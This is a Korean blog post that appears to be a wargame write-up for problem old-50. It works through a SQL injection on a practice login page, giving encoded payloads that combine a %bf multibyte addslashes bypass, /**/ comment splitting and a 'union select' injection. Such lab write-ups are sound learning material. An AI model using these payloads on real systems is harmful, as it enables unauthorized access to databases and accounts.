안녕하세요??
자운대 고라니입니다.
오늘은 wargame.kr old-50번 문제를 풀어보겠습니다.
문제의 첫 화면은 id와 pw의 textbox가 있고 이를 활용하여 SQL INJECTION을 해보라고 나와있다.
일단 view-source로 코드를 확인하겠다.
코드 중 중요한 부분만 캡처해놨다.
이 전에 풀었던 45번 문제와 굉장히 유사하다고 생각되었다.
1. lv=3
일단 문제에서 $result['lv']=="3" 조건을 만족시키라고 나와있으므로, id부분을 injection하여 lv=3으로 만들어봤다.
select lv from chall50 where id=''||lv='3'#'' and pw=......
id에 '||lv='3'#'이라는 값을 넣어야 하고, 필터링을 우회하는 값을 넣으면
(수정 전)'||lv='3'#' -> (수정 후)%27%7C%7Clv%0alike%0a%273%27%23%27
여기서 addslashes를 우회하기 위해서 quote 앞에 %bf를 넣어준다. (이해가 안된다면 맨 아래쪽 링크 먼저 확인)
(수정 전)%27%7C%7Clv%0alike%0a%273%27%23%27 ->
(수정 후)%bf%7C%7Clv%0alike%0a%bf%273%bf%27%23%bf%27
이 값을 url부분에 넣어봤다.
그랬더니 Wrong이라는 문구가 나왔다.
다시 원본 소스코드를 보면
빨간색으로 표시된 부분에 $result의 값이 존재하지 않을 때 echo("Wrong");이라고 나와있는 것을 확인하였고,
이는 lv=3이라는 값의 데이터가 테이블에 존재하지 않다는 것을 알 수 있다.
2. union, /**/ 활용
이를 우회하기 위해서는 union함수를 활용하여야 한다. (이해가 안된다면 맨 아래쪽 링크 먼저 확인)
그렇지만 id는 preg_match에 의해서 union이 필터링되었다.
그러므로 pw부분에 union함수를 넣어야 하는데, md5()로 암호화가 된다.
이를 우회하기 위해서는 /**/ 우회를 해야 한다.
/**/이란 /* ~ */ 사이의 ~부분을 주석처리해주는 기능이다.
예를 들어서 /* 안녕하세요 */라고 돼있으면 안녕하세요는 프로그램이 돌아갈 때 아무런 지장을 못 미친다.
본론으로 들어가서 문제의 쿼리문에 /**/을 활용해서 injection을 성공한다고 생각해보자.
select lv from chall50 where id=''/*' and pw=md5('*/union select 3#'')
-> select lv from chall50 where id=''union select 3#'')
-> lv=3
이렇게 lv에는 3이란 값이 들어갈 수 있게 된다.
정리해서
id = '/*
pw = */union select 3#'
를 넣어주면 되고, 이를 url encoding을 해준다.
이때 띄어쓰기도 필터링되었으므로, 띄어 쓰는 부분에는 %0a를 넣어준다.
id = %bf%27%2F%2A
pw = %2A%2Funion%0aselect%0a3%23%bf%27
이 값을 url주소에 넣어주면
답이 나온다.
처음 푸는 사람이라면 score가 올라갈 것이다.
이번 문제는 webhacking.kr에 있는 여러 가지 문제를 짬뽕해놓은 느낌이었다.
아래의 링크를 위의 설명 중 이해가 안 가는 부분이 있었다면 아래의 링크들을 참고하면 되겠다.
'category > 웹해킹(webhacking.kr)' 카테고리의 다른 글
webhacking 기본 (0) | 2020.11.24 |
---|---|
웹해킹(webhacking.kr) - 27번 (0) | 2020.11.24 |
웹해킹(webhacking.kr) - 24번 (0) | 2020.11.21 |
웹해킹(webhacking.kr) - 16번 (0) | 2020.11.21 |
웹해킹(webhacking.kr) - 45번 (0) | 2020.11.20 |
웹해킹(webhacking.kr) - 48번 (0) | 2020.11.20 |
웹해킹(webhacking.kr) - 44번 (0) | 2020.11.20 |
웹해킹(webhacking.kr) - 36번 (0) | 2020.11.18 |
댓글